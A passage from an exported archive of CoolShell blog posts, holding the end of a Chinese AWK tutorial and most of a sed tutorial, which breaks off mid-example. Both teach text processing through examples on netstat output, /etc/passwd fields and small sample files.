%s\\n\",$4,$5,$6}' netstat.txt\nLocal-Address        Foreign-Address      State\n0.0.0.0:3306         0.0.0.0:*            LISTEN\n0.0.0.0:80           0.0.0.0:*            LISTEN\n127.0.0.1:9000       0.0.0.0:*            LISTEN\n:::22                :::*                 LISTEN</pre>\n<h5><strong>内建变量</strong></h5>\n<p>说到了内建变量，我们可以来看看awk的一些内建变量：</p>\n<table border=\"0\" cellpadding=\"4\" cellspacing=\"1\">\n<tbody>\n<tr>\n<td bgcolor=\"#ffffff\">$0</td>\n<td bgcolor=\"#ffffff\">当前记录（这个变量中存放着整个行的内容）</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">$1~$n</td>\n<td bgcolor=\"#ffffff\">当前记录的第n个字段，字段间由FS分隔</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">FS</td>\n<td bgcolor=\"#ffffff\">输入字段分隔符 默认是空格或Tab</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">NF</td>\n<td bgcolor=\"#ffffff\">当前记录中的字段个数，就是有多少列</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">NR</td>\n<td bgcolor=\"#ffffff\">已经读出的记录数，就是行号，从1开始，如果有多个文件话，这个值也是不断累加中。</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">FNR</td>\n<td bgcolor=\"#ffffff\">当前记录数，与NR不同的是，这个值会是各个文件自己的行号</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">RS</td>\n<td bgcolor=\"#ffffff\">输入的记录分隔符， 默认为换行符</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">OFS</td>\n<td bgcolor=\"#ffffff\">输出字段分隔符， 默认也是空格</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">ORS</td>\n<td bgcolor=\"#ffffff\">输出的记录分隔符，默认为换行符</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">FILENAME</td>\n<td bgcolor=\"#ffffff\">当前输入文件的名字</td>\n</tr>\n</tbody>\n</table>\n<p>怎么使用呢，比如：我们如果要输出行号：</p>\n<pre class=\"EnlighterJSRAW\">$ awk '$3==0 &amp;&amp; $6==\"ESTABLISHED\" || NR==1 {printf \"%02s %s %-20s %-20s %s\\n\",NR, FNR, $4,$5,$6}' netstat.txt\n01 1 Local-Address        Foreign-Address      State\n07 7 coolshell.cn:80      110.194.134.189:1032 ESTABLISHED\n08 8 coolshell.cn:80      123.169.124.111:49809 ESTABLISHED\n10 10 coolshell.cn:80      123.169.124.111:49829 ESTABLISHED\n14 14 coolshell.cn:80      110.194.134.189:4796 ESTABLISHED\n17 17 coolshell.cn:80      123.169.124.111:49840 ESTABLISHED</pre>\n<h5><strong>指定分隔符</strong></h5>\n<pre class=\"EnlighterJSRAW\">$  awk  'BEGIN{FS=\":\"} {print $1,$3,$6}' /etc/passwd\nroot 0 /root\nbin 1 /bin\ndaemon 2 /sbin\nadm 3 /var/adm\nlp 4 /var/spool/lpd\nsync 5 /sbin\nshutdown 6 /sbin\nhalt 7 /sbin</pre>\n<p>上面的命令也等价于：（-F的意思就是指定分隔符）</p>\n<p><code class=\"EnlighterJSRAW\">$ awk  -F: '{print $1,$3,$6}' /etc/passwd</code></p>\n<p>注：如果你要指定多个分隔符，你可以这样来：</p>\n<p><code class=\"EnlighterJSRAW\">awk -F '[;:]'</code></p>\n<p>再来看一个以\\t作为分隔符输出的例子（下面使用了/etc/passwd文件，这个文件是以:分隔的）：</p>\n<pre class=\"EnlighterJSRAW\">$ awk  -F: '{print $1,$3,$6}' OFS=\"\\t\" /etc/passwd\nroot    0       /root\nbin     1       /bin\ndaemon  2       /sbin\nadm     3       /var/adm\nlp      4       /var/spool/lpd\nsync    5       /sbin</pre>\n<h4>脱掉衬衫</h4>\n<h5>字符串匹配</h5>\n<p>我们再来看几个字符串匹配的示例：</p>\n<pre class=\"EnlighterJSRAW\">$ awk '$6 ~ /FIN/ || NR==1 {print NR,$4,$5,$6}' OFS=\"\\t\" netstat.txt\n1       Local-Address   Foreign-Address State\n6       coolshell.cn:80 61.140.101.185:37538    FIN_WAIT2\n9       coolshell.cn:80 116.234.127.77:11502    FIN_WAIT2\n13      coolshell.cn:80 124.152.181.209:26825   FIN_WAIT1\n18      coolshell.cn:80 117.136.20.85:50025     FIN_WAIT2\n\n$ $ awk '$6 ~ /WAIT/ || NR==1 {print NR,$4,$5,$6}' OFS=\"\\t\" netstat.txt\n1       Local-Address   Foreign-Address State\n5       coolshell.cn:80 124.205.5.146:18245     TIME_WAIT\n6       coolshell.cn:80 61.140.101.185:37538    FIN_WAIT2\n9       coolshell.cn:80 116.234.127.77:11502    FIN_WAIT2\n11      coolshell.cn:80 183.60.215.36:36970     TIME_WAIT\n13      coolshell.cn:80 124.152.181.209:26825   FIN_WAIT1\n15      coolshell.cn:80 183.60.212.163:51082    TIME_WAIT\n18      coolshell.cn:80 117.136.20.85:50025     FIN_WAIT2</pre>\n<p>上面的第一个示例匹配FIN状态， 第二个示例匹配WAIT字样的状态。其实 ~ 表示模式开始。/ /中是模式。这就是一个正则表达式的匹配。</p>\n<p>其实awk可以像grep一样的去匹配第一行，就像这样：</p>\n<pre class=\"EnlighterJSRAW\">$ awk '/LISTEN/' netstat.txt\ntcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN\ntcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN\ntcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN\ntcp        0      0 :::22                   :::*                    LISTEN</pre>\n<p>我们可以使用 “/FIN|TIME/” 来匹配 FIN 或者 TIME :</p>\n<pre class=\"EnlighterJSRAW\">$ awk '$6 ~ /FIN|TIME/ || NR==1 {print NR,$4,$5,$6}' OFS=\"\\t\" netstat.txt\n1       Local-Address   Foreign-Address State\n5       coolshell.cn:80 124.205.5.146:18245     TIME_WAIT\n6       coolshell.cn:80 61.140.101.185:37538    FIN_WAIT2\n9       coolshell.cn:80 116.234.127.77:11502    FIN_WAIT2\n11      coolshell.cn:80 183.60.215.36:36970     TIME_WAIT\n13      coolshell.cn:80 124.152.181.209:26825   FIN_WAIT1\n15      coolshell.cn:80 183.60.212.163:51082    TIME_WAIT\n18      coolshell.cn:80 117.136.20.85:50025     FIN_WAIT2</pre>\n<p>再来看看模式取反的例子：</p>\n<pre class=\"EnlighterJSRAW\">$ awk '$6 !~ /WAIT/ || NR==1 {print NR,$4,$5,$6}' OFS=\"\\t\" netstat.txt\n1       Local-Address   Foreign-Address State\n2       0.0.0.0:3306    0.0.0.0:*       LISTEN\n3       0.0.0.0:80      0.0.0.0:*       LISTEN\n4       127.0.0.1:9000  0.0.0.0:*       LISTEN\n7       coolshell.cn:80 110.194.134.189:1032    ESTABLISHED\n8       coolshell.cn:80 123.169.124.111:49809   ESTABLISHED\n10      coolshell.cn:80 123.169.124.111:49829   ESTABLISHED\n12      coolshell.cn:80 61.148.242.38:30901     ESTABLISHED\n14      coolshell.cn:80 110.194.134.189:4796    ESTABLISHED\n16      coolshell.cn:80 208.115.113.92:50601    LAST_ACK\n17      coolshell.cn:80 123.169.124.111:49840   ESTABLISHED\n19      :::22   :::*    LISTEN</pre>\n<p>或是：</p>\n<p><code class=\"EnlighterJSRAW\">awk '!/WAIT/' netstat.txt</code></p>\n<p><strong>折分文件</strong></p>\n<p>awk拆分文件很简单，使用重定向就好了。下面这个例子，是按第6例分隔文件，相当的简单（其中的NR!=1表示不处理表头）。</p>\n<pre class=\"EnlighterJSRAW\">$ awk 'NR!=1{print &gt; $6}' netstat.txt\n\n$ ls\nESTABLISHED  FIN_WAIT1  FIN_WAIT2  LAST_ACK  LISTEN  netstat.txt  TIME_WAIT\n\n$ cat ESTABLISHED\ntcp        0      0 coolshell.cn:80        110.194.134.189:1032        ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49809       ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49829       ESTABLISHED\ntcp        0   4166 coolshell.cn:80        61.148.242.38:30901         ESTABLISHED\ntcp        0      0 coolshell.cn:80        110.194.134.189:4796        ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49840       ESTABLISHED\n\n$ cat FIN_WAIT1\ntcp        0      1 coolshell.cn:80        124.152.181.209:26825       FIN_WAIT1\n\n$ cat FIN_WAIT2\ntcp        0      0 coolshell.cn:80        61.140.101.185:37538        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        116.234.127.77:11502        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        117.136.20.85:50025         FIN_WAIT2\n\n$ cat LAST_ACK\ntcp        0      1 coolshell.cn:80        208.115.113.92:50601        LAST_ACK\n\n$ cat LISTEN\ntcp        0      0 0.0.0.0:3306           0.0.0.0:*                   LISTEN\ntcp        0      0 0.0.0.0:80             0.0.0.0:*                   LISTEN\ntcp        0      0 127.0.0.1:9000         0.0.0.0:*                   LISTEN\ntcp        0      0 :::22                  :::*                        LISTEN\n\n$ cat TIME_WAIT\ntcp        0      0 coolshell.cn:80        124.205.5.146:18245         TIME_WAIT\ntcp        0      0 coolshell.cn:80        183.60.215.36:36970         TIME_WAIT\ntcp        0      0 coolshell.cn:80        183.60.212.163:51082        TIME_WAIT</pre>\n<p>你也可以把指定的列输出到文件：</p>\n<p><code class=\"EnlighterJSRAW\">awk 'NR!=1{print $4,$5 &gt; $6}' netstat.txt</code></p>\n<p>再复杂一点：（注意其中的if-else-if语句，可见awk其实是个脚本解释器）</p>\n<pre class=\"EnlighterJSRAW\">$ awk 'NR!=1{if($6 ~ /TIME|ESTABLISHED/) print &gt; \"1.txt\";\nelse if($6 ~ /LISTEN/) print &gt; \"2.txt\";\nelse print &gt; \"3.txt\" }' netstat.txt\n\n$ ls ?.txt\n1.txt  2.txt  3.txt\n\n$ cat 1.txt\ntcp        0      0 coolshell.cn:80        124.205.5.146:18245         TIME_WAIT\ntcp        0      0 coolshell.cn:80        110.194.134.189:1032        ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49809       ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49829       ESTABLISHED\ntcp        0      0 coolshell.cn:80        183.60.215.36:36970         TIME_WAIT\ntcp        0   4166 coolshell.cn:80        61.148.242.38:30901         ESTABLISHED\ntcp        0      0 coolshell.cn:80        110.194.134.189:4796        ESTABLISHED\ntcp        0      0 coolshell.cn:80        183.60.212.163:51082        TIME_WAIT\ntcp        0      0 coolshell.cn:80        123.169.124.111:49840       ESTABLISHED\n\n$ cat 2.txt\ntcp        0      0 0.0.0.0:3306           0.0.0.0:*                   LISTEN\ntcp        0      0 0.0.0.0:80             0.0.0.0:*                   LISTEN\ntcp        0      0 127.0.0.1:9000         0.0.0.0:*                   LISTEN\ntcp        0      0 :::22                  :::*                        LISTEN\n\n$ cat 3.txt\ntcp        0      0 coolshell.cn:80        61.140.101.185:37538        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        116.234.127.77:11502        FIN_WAIT2\ntcp        0      1 coolshell.cn:80        124.152.181.209:26825       FIN_WAIT1\ntcp        0      1 coolshell.cn:80        208.115.113.92:50601        LAST_ACK\ntcp        0      0 coolshell.cn:80        117.136.20.85:50025         FIN_WAIT2</pre>\n<h5>统计</h5>\n<p>下面的命令计算所有的C文件，CPP文件和H文件的文件大小总和。</p>\n<pre class=\"EnlighterJSRAW\">$ ls -l  *.cpp *.c *.h | awk '{sum+=$5} END {print sum}'\n2511401</pre>\n<p>我们再来看一个统计各个connection状态的用法：（我们可以看到一些编程的影子了，大家都是程序员我就不解释了。注意其中的数组的用法）</p>\n<pre class=\"EnlighterJSRAW\">$ awk 'NR!=1{a[$6]++;} END {for (i in a) print i \", \" a[i];}' netstat.txt\nTIME_WAIT, 3\nFIN_WAIT1, 1\nESTABLISHED, 6\nFIN_WAIT2, 3\nLAST_ACK, 1\nLISTEN, 4</pre>\n<p>再来看看统计每个用户的进程的占了多少内存（注：sum的RSS那一列）</p>\n<pre class=\"EnlighterJSRAW\">$ ps aux | awk 'NR!=1{a[$1]+=$6;} END { for(i in a) print i \", \" a[i]\"KB\";}'\ndbus, 540KB\nmysql, 99928KB\nwww, 3264924KB\nroot, 63644KB\nhchen, 6020KB</pre>\n<h4>脱掉内衣</h4>\n<h5>awk脚本</h5>\n<p>在上面我们可以看到一个END关键字。END的意思是“处理完所有的行的标识”，即然说到了END就有必要介绍一下BEGIN，这两个关键字意味着执行前和执行后的意思，语法如下：</p>\n<ul>\n<li>BEGIN{ 这里面放的是执行前的语句 }</li>\n<li>END {这里面放的是处理完所有的行后要执行的语句 }</li>\n<li>{这里面放的是处理每一行时要执行的语句}</li>\n</ul>\n<p>为了说清楚这个事，我们来看看下面的示例：</p>\n<p>假设有这么一个文件（学生成绩表）：</p>\n<pre class=\"EnlighterJSRAW\">$ cat score.txt\nMarry   2143 78 84 77\nJack    2321 66 78 45\nTom     2122 48 77 71\nMike    2537 87 97 95\nBob     2415 40 57 62</pre>\n<p>我们的awk脚本如下（我没有写有命令行上是因为命令行上不易读，另外也在介绍另一种用法）：</p>\n<pre class=\"EnlighterJSRAW\">$ cat cal.awk\n#!/bin/awk -f\n#运行前\nBEGIN {\n    math = 0\n    english = 0\n    computer = 0\n\n    printf \"NAME    NO.   MATH  ENGLISH  COMPUTER   TOTAL\\n\"\n    printf \"---------------------------------------------\\n\"\n}\n#运行中\n{\n    math+=$3\n    english+=$4\n    computer+=$5\n    printf \"%-6s %-6s %4d %8d %8d %8d\\n\", $1, $2, $3,$4,$5, $3+$4+$5\n}\n#运行后\nEND {\n    printf \"---------------------------------------------\\n\"\n    printf \"  TOTAL:%10d %8d %8d \\n\", math, english, computer\n    printf \"AVERAGE:%10.2f %8.2f %8.2f\\n\", math/NR, english/NR, computer/NR\n}</pre>\n<p>我们来看一下执行结果：（也可以这样运行 ./cal.awk score.txt）</p>\n<pre class=\"EnlighterJSRAW\">$ awk -f cal.awk score.txt\nNAME    NO.   MATH  ENGLISH  COMPUTER   TOTAL\n---------------------------------------------\nMarry  2143     78       84       77      239\nJack   2321     66       78       45      189\nTom    2122     48       77       71      196\nMike   2537     87       97       95      279\nBob    2415     40       57       62      159\n---------------------------------------------\n  TOTAL:       319      393      350\nAVERAGE:     63.80    78.60    70.00</pre>\n<h5>环境变量</h5>\n<p>即然说到了脚本，我们来看看怎么和环境变量交互：（使用-v参数和ENVIRON，使用ENVIRON的环境变量需要export）</p>\n<pre class=\"EnlighterJSRAW\">$ x=5\n\n$ y=10\n$ export y\n\n$ echo $x $y\n5 10\n\n$ awk -v val=$x '{print $1, $2, $3, $4+val, $5+ENVIRON[\"y\"]}' OFS=\"\\t\" score.txt\nMarry   2143    78      89      87\nJack    2321    66      83      55\nTom     2122    48      82      81\nMike    2537    87      102     105\nBob     2415    40      62      72\n</pre>\n<h4>几个花活</h4>\n<p>最后，我们再来看几个小例子：</p>\n<pre class=\"EnlighterJSRAW\">#从file文件中找出长度大于80的行\nawk 'length&gt;80' file\n\n#按连接数查看客户端IP\nnetstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr\n\n#打印99乘法表\nseq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i&lt;=NF;i++)printf(\"%dx%d=%d%s\", i, NR, i*NR, i==NR?\"\\n\":\"\\t\")}' </pre>\n<h4>自己撸吧</h4>\n<p>关于其中的一些知识点可以参看<a href=\"http://www.gnu.org/software/gawk/manual/gawk.html\" target=\"_blank\">gawk的手册</a>：</p>\n<ul>\n<li>内建变量，参看：<a href=\"http://www.gnu.org/software/gawk/manual/gawk.html#Built_002din-Variables\" target=\"_blank\">http://www.gnu.org/software/gawk/manual/gawk.html#Built_002din-Variables</a></li>\n<li>流控方面，参看：<a href=\"http://www.gnu.org/software/gawk/manual/gawk.html#Statements\" target=\"_blank\">http://www.gnu.org/software/gawk/manual/gawk.html#Statements</a></li>\n<li>内建函数，参看：<a href=\"http://www.gnu.org/software/gawk/manual/gawk.html#Built_002din\" target=\"_blank\">http://www.gnu.org/software/gawk/manual/gawk.html#Built_002din</a></li>\n<li>正则表达式，参看：<a href=\"http://www.gnu.org/software/gawk/manual/gawk.html#Regexp\" target=\"_blank\">http://www.gnu.org/software/gawk/manual/gawk.html#Regexp</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8619.html\"><img alt=\"你可能不知道的Shell\" height=\"150\" src=\"../wp-content/uploads/2012/11/shell.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-2-20 sed 简明教程.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-9126\" height=\"216\" src=\"../wp-content/uploads/2013/02/sed-superman.png\" width=\"216\"/>awk于1977年出生，今年36岁本命年，sed比awk大2-3岁，awk就像林妹妹，sed就是宝玉哥哥了。所以 <a href=\"https://coolshell.cn/articles/9070.html\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"AWK 简明教程\">林妹妹跳了个Topless</a>，他的哥哥sed坐不住了，也一定要出来抖一抖。</p>\n<p>sed全名叫stream editor，流编辑器，用程序的方式来编辑文本，相当的hacker啊。sed基本上就是玩正则模式匹配，所以，玩sed的人，正则表达式一般都比较强。</p>\n<p>同样，本篇文章不会说sed的全部东西，你可以参看<a href=\"http://www.gnu.org/software/sed/manual/sed.html\" rel=\"noopener noreferrer\" target=\"_blank\">sed的手册</a>，我这里主要还是想和大家竞争一下那些从手机指缝间或马桶里流走的时间，用这些时间来学习一些东西。当然，接下来的还是要靠大家自己双手。</p>\n<h4>用s命令替换</h4>\n<p>我使用下面的这段文本做演示：</p>\n<pre class=\"EnlighterJSRAW\">$ cat pets.txt\nThis is my cat\n  my cat's name is betty\nThis is my dog\n  my dog's name is frank\nThis is my fish\n  my fish's name is george\nThis is my goat\n  my goat's name is adam</pre>\n<p>把其中的my字符串替换成Hao Chen’s，下面的语句应该很好理解（s表示替换命令，/my/表示匹配my，/Hao Chen’s/表示把匹配替换成Hao Chen’s，/g 表示一行上的替换所有的匹配）：</p>\n<pre class=\"EnlighterJSRAW\">$ sed \"s/my/Hao Chen's/g\" pets.txt\nThis is Hao Chen's cat\n  Hao Chen's cat's name is betty\nThis is Hao Chen's dog\n  Hao Chen's dog's name is frank\nThis is Hao Chen's fish\n  Hao Chen's fish's name is george\nThis is Hao Chen's goat\n  Hao Chen's goat's name is adam</pre>\n<p>注意：如果你要使用单引号，那么你没办法通过\\’这样来转义，就有双引号就可以了，在双引号内可以用\\”来转义。</p>\n<p><span id=\"more-9104\"></span></p>\n<p>再注意：上面的sed并没有对文件的内容改变，只是把处理过后的内容输出，如果你要写回文件，你可以使用重定向，如：</p>\n<p><code class=\"EnlighterJSRAW\">$ sed \"s/my/Hao Chen's/g\" pets.txt &gt; hao_pets.txt</code></p>\n<p>或使用 -i 参数直接修改文件内容：</p>\n<p><code class=\"EnlighterJSRAW\">$ sed -i \"s/my/Hao Chen's/g\" pets.txt</code></p>\n<p>在每一行最前面加点东西：</p>\n<pre class=\"EnlighterJSRAW\">$ sed 's/^/#/g' pets.txt\n#This is my cat\n#  my cat's name is betty\n#This is my dog\n#  my dog's name is frank\n#This is my fish\n#  my fish's name is george\n#This is my goat\n#  my goat's name is adam</pre>\n<p>在每一行最后面加点东西：</p>\n<pre class=\"EnlighterJSRAW\">$ sed 's/$/ --- /g' pets.txt\nThis is my cat ---\n  my cat's name is betty ---\nThis is my dog ---\n  my dog's name is frank ---\nThis is my fish ---\n  my fish's name is george ---\nThis is my goat ---\n  my goat's name is adam ---</pre>\n<p>顺手介绍一下正则表达式的一些最基本的东西：</p>\n<ul>\n<li> <code>^</code> 表示一行的开头。如：<code>/^#/</code> 以#开头的匹配。</li>\n<li> <code>$</code> 表示一行的结尾。如：<code>/}$/</code> 以}结尾的匹配。</li>\n<li> <code>\\&lt;</code> 表示词首。 如：<code>\\&lt;abc</code> 表示以 abc 为首的詞。</li>\n<li> <code>\\&gt;</code> 表示词尾。 如：<code>abc\\&gt;</code> 表示以 abc 結尾的詞。</li>\n<li> <code>.</code> 表示任何单个字符。</li>\n<li> <code>*</code> 表示某个字符出现了0次或多次。</li>\n<li> <code>[ ]</code> 字符集合。 如：<code>[abc]</code> 表示匹配a或b或c，还有 <code>[a-zA-Z]</code> 表示匹配所有的26个字符。如果其中有^表示反，如 <code>[^a]</code> 表示非a的字符</li>\n</ul>\n<p>正规则表达式是一些很牛的事，比如我们要去掉某html中的tags：</p>\n<pre class=\"EnlighterJSRAW\">\n\n&lt;b&gt;This&lt;/b&gt; is what &lt;span style=\"text-decoration: underline;\"&gt;I&lt;/span&gt; meant. Understand?\n\n</pre>\n<p>看看我们的sed命令</p>\n<pre class=\"EnlighterJSRAW\">\n# 如果你这样搞的话，就会有问题\n$ sed 's/&lt;.*&gt;//g' html.txt\n Understand?\n\n# 要解决上面的那个问题，就得像下面这样。\n# 其中的'[^&gt;]' 指定了除了&gt;的字符重复0次或多次。\n$ sed 's/&lt;[^&gt;]*&gt;//g' html.txt\nThis is what I meant. Understand?</pre>\n<p>我们再来看看指定需要替换的内容：</p>\n<pre class=\"EnlighterJSRAW\">$ sed \"3s/my/your/g\" pets.txt\nThis is my cat\n  my cat's name is betty\nThis is your dog\n  my dog's name is frank\nThis is my fish\n  my fish's name is george\nThis is my goat\n  my goat's name is adam</pre>\n<p>下面的命令只替换第3到第6行的文本。</p>\n<pre class=\"EnlighterJSRAW\">$ sed \"3,6s/my/your/g\" pets.txt\nThis is my cat\n  my cat's name is betty\nThis is your dog\n  your dog's name is frank\nThis is your fish\n  your fish's name is george\nThis is my goat\n  my goat's name is adam</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">$ cat my.txt\nThis is my cat, my cat's name is betty\nThis is my dog, my dog's name is frank\nThis is my fish, my fish's name is george\nThis is my goat, my goat's name is adam</pre>\n<p>只替换每一行的第一个s：</p>\n<pre class=\"EnlighterJSRAW\">$ sed 's/s/S/1' my.txt\nThiS is my cat, my cat's name is betty\nThiS is my dog, my dog's name is frank\nThiS is my fish, my fish's name is george\nThiS is my goat, my goat's name is adam</pre>\n<p>只替换每一行的第二个s：</p>\n<pre class=\"EnlighterJSRAW\">$ sed 's/s/S/2' my.txt\nThis iS my cat, my cat's name is betty\nThis iS my dog, my dog's name is frank\nThis iS my fish, my fish's name is george\nThis iS my goat, my goat's name is adam</pre>\n<p>只替换第一行的第3个以后的s：</p>\n<pre class=\"EnlighterJSRAW\">$ sed 's/s/S/3g' my.txt\nThis is my cat, my cat'S name iS betty\nThis is my dog, my dog'S name iS frank\nThis is my fiSh, my fiSh'S name iS george\nThis is my goat, my goat'S name iS adam</pre>\n<h4>多个匹配</h4>\n<p>如果我们需要一次替换多个模式，可参看下面的示例：（第一个模式把第一行到第三行的my替换成your，第二个则把第3行以后的This替换成了That）</p>\n<pre class=\"EnlighterJSRAW\">$ sed '1,3s/my/your/g; 3,$s/This/That/g' my.txt\nThis is your cat, your cat's name is betty\nThis is your dog, your dog's name is frank\nThat is your fish, your fish's name is george\nThat is my goat, my goat's name is adam</pre>\n<p>上面的命令等价于：（注：下面使用的是sed的-e命令行参数）</p>\n<p><code class=\"EnlighterJSRAW\">sed -e '1,3s/my/your/g' -e '3,$s/This/That/g' my.txt</code></p>\n<p>我们可以使用&amp;来当做被匹配的变量，然后可以在基本左右加点东西。如下所示：</p>\n<pre class=\"EnlighterJSRAW\">$ sed 's/my/[&amp;]/g' my.txt\nThis is [my] cat, [my] cat's name is betty\nThis is [my] dog, [my] dog's name is frank\nThis is [my] fish, [my] fish's name is george\nThis is [my] goat, [my] goat's name is adam</pre>\n<h4>圆括号匹配</h4>\n<p>使用圆括号匹配的示例：（圆括号括起来的正则表达式所匹配的字符串会可以当成变量来使用，sed中使用的是\\1,\\2…）</p>\n<pre class=\"EnlighterJSRAW\">$ sed 's/This is my \\([^,&amp;]*\\),.*is \\(.*\\)/\\1:\\2/g' my.txt\ncat:betty\ndog:frank\nfish:george\ngoat:adam</pre>\n<p>上面这个例子中的正则表达式有点复杂，解开如下（去掉转义字符）：</p>\n<p>正则为：This is my ([^,]*),.*is (.*)<br/>\n匹配为：This is my (cat),……….is (betty)</p>\n<p>然后：\\1就是cat，\\2就是betty</p>\n<h4>sed的命令</h4>\n<p>让我们回到最一开始的例子pets.txt，让我们来看几个命令：</p>\n<h5>N命令</h5>\n<p>先来看N命令 —— 把下一行的内容纳入当成缓冲区做匹配。</p>\n<p>下面的的示例会把原文本中的偶数行纳入奇数行匹配，而s只匹配并替换一次，所以，就成了下面的结果：</p>\n<pre class=\"EnlighterJSRAW\">$ sed 'N;s/my/your/' pets.txt\nThis is your cat\n  my cat's name is betty\nThis is your dog\n  my dog's name is frank\nThis is your fish\n  my fish's name is george\nThis is your goat\n  my goat's name is adam</pre>\n<p>也就是说，原来的文件成了：</p>\n<pre class=\"EnlighterJSRAW\">This is my cat\\n  my cat's name is betty\nThis is my dog\\n  my dog's name is frank\nThis is my fish\\n  my fish's name is george\nThis is my goat\\n  my goat's name is adam</pre>\n<p>这样一来，下面的例子你就明白了，</p>\n<pre class=\"EnlighterJSRAW\">$ sed 'N;s/\\n/,/' pets.txt\nThis is my cat,  my cat's name is betty\nThis is my dog,  my dog's name is frank\nThis is my fish,  my fish's name is george\nThis is my goat,  my goat's name is adam</pre>\n<h5>a命令和i命令</h5>\n<p>a命令就是append， i命令就是insert，它们是用来添加行的。如：</p>\n<pre class=\"EnlighterJSRAW\"># 其中的1i表明，其要在第1行前插入一行（insert）\n$ sed \"1 i This is my monkey, my monkey's name is wukong\" my.txt\nThis is my monkey, my monkey's name is wukong\nThis is my cat, my cat's name is betty\nThis is my dog, my dog's name is frank\nThis is my fish, my fish's name is george\nThis is my goat, my goat's name is adam\n\n# 其中的1a表明，其要在最后一行后追加一行（append）\n$ sed \"$ a This is my monkey, my monkey's name is wukong\" my.txt\nThis is my cat, my cat's name is betty\nThis is my monkey, my monkey's name is wukong\nThis is my dog, my dog's name is frank\nThis is my fish, my fish's name is george\nThis is my goat, my goat's name is adam</pre>\n<p>我们可以运用匹配来添加文本：</p>\n<pre class=\"EnlighterJSRAW\"># 注意其中的/fish/a，这意思是匹配到/fish/后就追加一行\n$ sed \"/fish/a This is my monkey, my monkey's name is wukong\" my.txt\nThis is my cat, my cat's name is betty\nThis is my dog, my dog's name is frank\nThis is my fish, my fish's name is george\nThis is my monkey, my monkey's name is wukong\nThis is my goat, my goat's name is adam</pre>\n<p>下面这个例子是对每一行都挺插入：</p>\n<pre class=\"EnlighterJSRAW\">$ sed \"/my/a ----\" my.txt\nThis is my cat, my cat's name is betty\n----\nThis is my dog, my dog's name is frank\n----\nThis is my fish, my fish's name is george\n----\nThis is my goat, my 